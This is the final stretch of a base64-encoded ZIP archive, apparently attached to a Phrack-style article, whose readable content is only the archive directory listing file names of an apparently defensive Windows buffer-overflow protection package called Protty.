dHktY3VycmVudC9zb3VyY2UvcHJvdC9ndWFyZGlhbi5pbmNQSwECFAAUAAAA
CACVg8EyemWLON8EAABcDQAAMgAAAAAAAAABACAAAACoOQAAUFJPVFQtUEFD
Sy9wcm90dHktY3VycmVudC9zb3VyY2UvcHJvdC9pYXRfa2lsbC5pbmNQSwEC
FAAUAAAACADVQMIy5sRD0vgEAADNDwAAMQAAAAAAAAABACAAAADXPgAAUFJP
VFQtUEFDSy9wcm90dHktY3VycmVudC9zb3VyY2UvcHJvdC9raV9mdWxsLmlu
Y1BLAQIUABQAAAAIAPBjmzLKFwZ6EgIAAEEFAAAxAAAAAAAAAAEAIAAAAB5E
AABQUk9UVC1QQUNLL3Byb3R0eS1jdXJyZW50L3NvdXJjZS9wcm90L2tpX2hv
b2suaW5jUEsBAhQAFAAAAAgAj1DBMqWrsqYkBQAAiw0AAC4AAAAAAAAAAQAg
AAAAf0YAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvc291cmNlL3Byb3Qv
bWFpbi5pbmNQSwECFAAUAAAACACZo5AyBfEePjcEAAD+CgAALwAAAAAAAAAB
ACAAAADvSwAAUFJPVFQtUEFDSy9wcm90dHktY3VycmVudC9zb3VyY2UvcHJv
dC9tb2RybS5pbmNQSwECFAAUAAAACAB8U8Ey4TdwG34BAADSAgAALQAAAAAA
AAABACAAAABzUAAAUFJPVFQtUEFDSy9wcm90dHktY3VycmVudC9zb3VyY2Uv
cHJvdC9wZWIuaW5jUEsBAhQAFAAAAAgASIiOMnbeE8k+AgAAXgYAADEAAAAA
AAAAAQAgAAAAPFIAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvc291cmNl
L3Byb3QvdXNlZnVsbC5pbmNQSwECFAAUAAAACACOSMEyhufKvNoBAADqBAAA
KwAAAAAAAAABACAAAADJVAAAUFJPVFQtUEFDSy9wcm90dHktY3VycmVudC9z
b3VyY2UvcHJvdHR5LmFzbVBLAQIUABQAAAAIAI2tZCnPM6it3r0AAF89BAAt
AAAAAAAAAAEAIAAAAOxWAABQUk9UVC1QQUNLL3Byb3R0eS1jdXJyZW50L3Nv
dXJjZS9XSU4zMkFQSS5JTkNQSwECFAAKAAAAAAC7WMEyAAAAAAAAAAAAAAAA
FgAAAAAAAAAAABAAAAAVFQEAUFJPVFQtUEFDSy9wcm90dHktb2xkL1BLAQIU
AAoAAAAAAEWKwTIAAAAAAAAAAAAAAAAaAAAAAAAAAAAAEAAAAEkVAQBQUk9U
VC1QQUNLL3Byb3R0eS1vbGQvYmluL1BLAQIUABQAAAAIALmJwTIiFFiuuA0A
AAAwAAAlAAAAAAAAAAAAIAAAAIEVAQBQUk9UVC1QQUNLL3Byb3R0eS1vbGQv
YmluL3Byb3R0eTIuRExMUEsBAhQAFAAAAAgAe4rBMnNdn9KCAAAAnwAAACQA
AAAAAAAAAQAgAAAAfCMBAFBST1RULVBBQ0svcHJvdHR5LW9sZC9iaW4vUkVB
RE1FLlRYVFBLAQIUAAoAAAAAAAI/wjIAAAAAAAAAAAAAAAAdAAAAAAAAAAAA
EAAAAEAkAQBQUk9UVC1QQUNLL3Byb3R0eS1vbGQvc291cmNlL1BLAQIUABQA
AAAIAAw/wjJwtgJQaAAAAJUAAAAoAAAAAAAAAAEAIAAAAHskAQBQUk9UVC1Q
QUNLL3Byb3R0eS1vbGQvc291cmNlL2NvbXBpbGUuYmF0UEsBAhQAFAAAAAgA
Llp5Mi8BRSChBQAANxQAACsAAAAAAAAAAQAgAAAAKSUBAFBST1RULVBBQ0sv
cHJvdHR5LW9sZC9zb3VyY2UvZGVidWdfcHJvdC5pbmNQSwECFAAUAAAACAC9
c4kye3r6p/wBAABdBAAAJwAAAAAAAAABACAAAAATKwEAUFJPVFQtUEFDSy9w
cm90dHktb2xkL3NvdXJjZS9teV9kbGwuaW5jUEsBAhQACgAAAAAAJ4rBMgAA
AAAAAAAAAAAAACUAAAAAAAAAAAAQAAAAVC0BAFBST1RULVBBQ0svcHJvdHR5
LW9sZC9zb3VyY2UvcHJvdHR5MS9QSwECFAAUAAAACACyicEyEk1XrwMCAACT
AwAALQAAAAAAAAABACAAAACXLQEAUFJPVFQtUEFDSy9wcm90dHktb2xkL3Nv
dXJjZS9wcm90dHkxL2NvbmYuaW5jUEsBAhQAFAAAAAgAnInBMnCo19P6AgAA
6wkAAC8AAAAAAAAAAQAgAAAA5S8BAFBST1RULVBBQ0svcHJvdHR5LW9sZC9z
b3VyY2UvcHJvdHR5MS9leGNlcHQuaW5jUEsBAhQAFAAAAAgADlyJMkjU6Dey
BAAAKQ0AADQAAAAAAAAAAQAgAAAALDMBAFBST1RULVBBQ0svcHJvdHR5LW9s
ZC9zb3VyY2UvcHJvdHR5MS9leHBvcnRfa2lsbC5pbmNQSwECFAAUAAAACAAu
c4ky81ZtVpEBAADRBQAAMAAAAAAAAAABACAAAAAwOAEAUFJPVFQtUEFDSy9w
cm90dHktb2xkL3NvdXJjZS9wcm90dHkxL2dldGFwaXMuaW5jUEsBAhQAFAAA
AAgA8XOJMrFsZbU3AwAAmwgAADEAAAAAAAAAAQAgAAAADzoBAFBST1RULVBB
Q0svcHJvdHR5LW9sZC9zb3VyY2UvcHJvdHR5MS9ndWFyZGlhbi5pbmNQSwEC
FAAUAAAACAAihcEyCsHJwuwFAADWDwAAMQAAAAAAAAABACAAAACVPQEAUFJP
VFQtUEFDSy9wcm90dHktb2xkL3NvdXJjZS9wcm90dHkxL2lhdF9raWxsLmlu
Y1BLAQIUABQAAAAIAMyFwTJSoMK5DQcAAGoVAAAwAAAAAAAAAAEAIAAAANBD
AQBQUk9UVC1QQUNLL3Byb3R0eS1vbGQvc291cmNlL3Byb3R0eTEva2lfZnVs
bC5pbmNQSwECFAAUAAAACADnWoky0Sy5fAYCAAAmBQAAMAAAAAAAAAABACAA
AAArSwEAUFJPVFQtUEFDSy9wcm90dHktb2xkL3NvdXJjZS9wcm90dHkxL2tp
X2hvb2suaW5jUEsBAhQAFAAAAAgAc1l5Mi15GsQwBAAATxAAADEAAAAAAAAA
AQAgAAAAf00BAFBST1RULVBBQ0svcHJvdHR5LW9sZC9zb3VyY2UvcHJvdHR5
MS9MREUzMkJJTi5JTkNQSwECFAAUAAAACAAmhsEyrunfzO8EAAARDQAALQAA
AAAAAAABACAAAAD+UQEAUFJPVFQtUEFDSy9wcm90dHktb2xkL3NvdXJjZS9w
cm90dHkxL21haW4uaW5jUEsBAhQAFAAAAAgAOVl5Mn0ywfQxAQAAGwIAACwA
AAAAAAAAAQAgAAAAOFcBAFBST1RULVBBQ0svcHJvdHR5LW9sZC9zb3VyY2Uv
cHJvdHR5MS9wZWIuaW5jUEsBAhQAFAAAAAgA1lmJMi0AEIY8AAAASQAAADgA
AAAAAAAAAQAgAAAAs1gBAFBST1RULVBBQ0svcHJvdHR5LW9sZC9zb3VyY2Uv
cHJvdHR5MS9QUk9UVFlfUkVWSVNJT04udHh0UEsBAhQAFAAAAAgA4IXBMjBE
vCcEBAAASwsAADAAAAAAAAAAAQAgAAAARVkBAFBST1RULVBBQ0svcHJvdHR5
LW9sZC9zb3VyY2UvcHJvdHR5MS91c2VmdWxsLmluY1BLAQIUABQAAAAIABc/
wjI1Es4M0gEAAOAEAAAoAAAAAAAAAAEAIAAAAJddAQBQUk9UVC1QQUNLL3By
b3R0eS1vbGQvc291cmNlL3Byb3R0eTEuYXNtUEsBAhQACgAAAAAAcJh0MmLN
yXIVAAAAFQAAACgAAAAAAAAAAQAgAAAAr18BAFBST1RULVBBQ0svcHJvdHR5
LW9sZC9zb3VyY2UvcHJvdHR5MS5kZWZQSwECFAAKAAAAAAAnWMEyAAAAAAAA
AAAAAAAAGgAAAAAAAAAAABAAAAAKYAEAUFJPVFQtUEFDSy9wcm90dHlfZXhh
bXBsZS9QSwECFAAUAAAACACVYYwyFa7ZtaICAAAMBQAAJQAAAAAAAAABACAA
AABCYAEAUFJPVFQtUEFDSy9wcm90dHlfZXhhbXBsZS9zYW1wbGVfYm8uY1BL
BQYAAAAANQA1ADMSAAAnYwEAAAA=
====
<-->
|=[ EOF ]=---------------------------------------------------------------=|